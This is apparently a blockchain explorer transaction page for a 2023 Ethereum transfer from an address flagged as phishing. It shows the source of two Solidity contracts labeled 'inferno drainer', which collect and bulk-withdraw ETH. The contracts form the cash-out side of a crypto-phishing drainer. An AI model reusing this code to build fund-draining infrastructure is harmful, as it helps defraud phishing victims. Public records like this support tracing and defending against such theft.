ETH Price: $2,026.97 (+5.88%)

Transaction Decoder

Block:
18904164 at Dec-31-2023 08:06:35 AM +UTC
Transaction Fee:
0.0007800144974769 ETH $1.58
Gas Used:
38,598 Gas / 20.20867655 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x000037bB...826Ce0000
(Fake_Phishing188250)
86.621405417868659792 Eth86.635518459565612395 Eth0.014113041696952603
(beaverbuild)
9.222772860367169642 Eth9.22302805445086772 Eth0.000255194083698078
0xbd8cBBdc...562f9BB5e
0.015090697051088503 Eth
Nonce: 6
0.000197640856659 Eth
Nonce: 7
0.014893056194429503

Execution Trace

ETH 0.014113041696952603 Fake_Phishing213363.CALL( )
  • StorageContract.STATICCALL( )
  • ETH 0.014113041696952603 Receiver.CALL( )
    File 1 of 2: StorageContract
    // @mr_inferno_drainer / inferno drainer
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }

    File 2 of 2: Receiver
    // File: contracts/StorageContract.sol
    
    
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }
    
    // File: contracts/Receiver.sol
    
    
    pragma solidity ^0.8.4;
    
    
    contract Receiver {
        StorageContract storageContract;
    
        mapping(address => uint256) private balances;
    
        constructor(address storageContractAddress) {
            storageContract = StorageContract(storageContractAddress);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
                if (msg.sender == storageContract.owners(i)) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        receive() external payable {}
    
        fallback() external payable {}
    
        function withdraw(uint256 amount, address recipient) public onlyOwner {
            require(
                amount <= address(this).balance,
                "Not enough balance in the contract"
            );
    
            (bool sent, ) = payable(recipient).call{value: amount}("");
            require(sent, "Fail");
        }
    
        function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
            public
            onlyOwner
        {
            require(
                amounts.length == recipients.length,
                "The amounts and recipients length mismatch"
            );
    
            for (uint256 i = 0; i < recipients.length; i++) {
                uint256 amount = amounts[i];
                address recipient = recipients[i];
    
                require(
                    amount <= address(this).balance,
                    "Not enough balance in the contract"
                );
    
                (bool sent, ) = payable(recipient).call{value: amount}("");
                require(sent, "Fail");
            }
        }
    }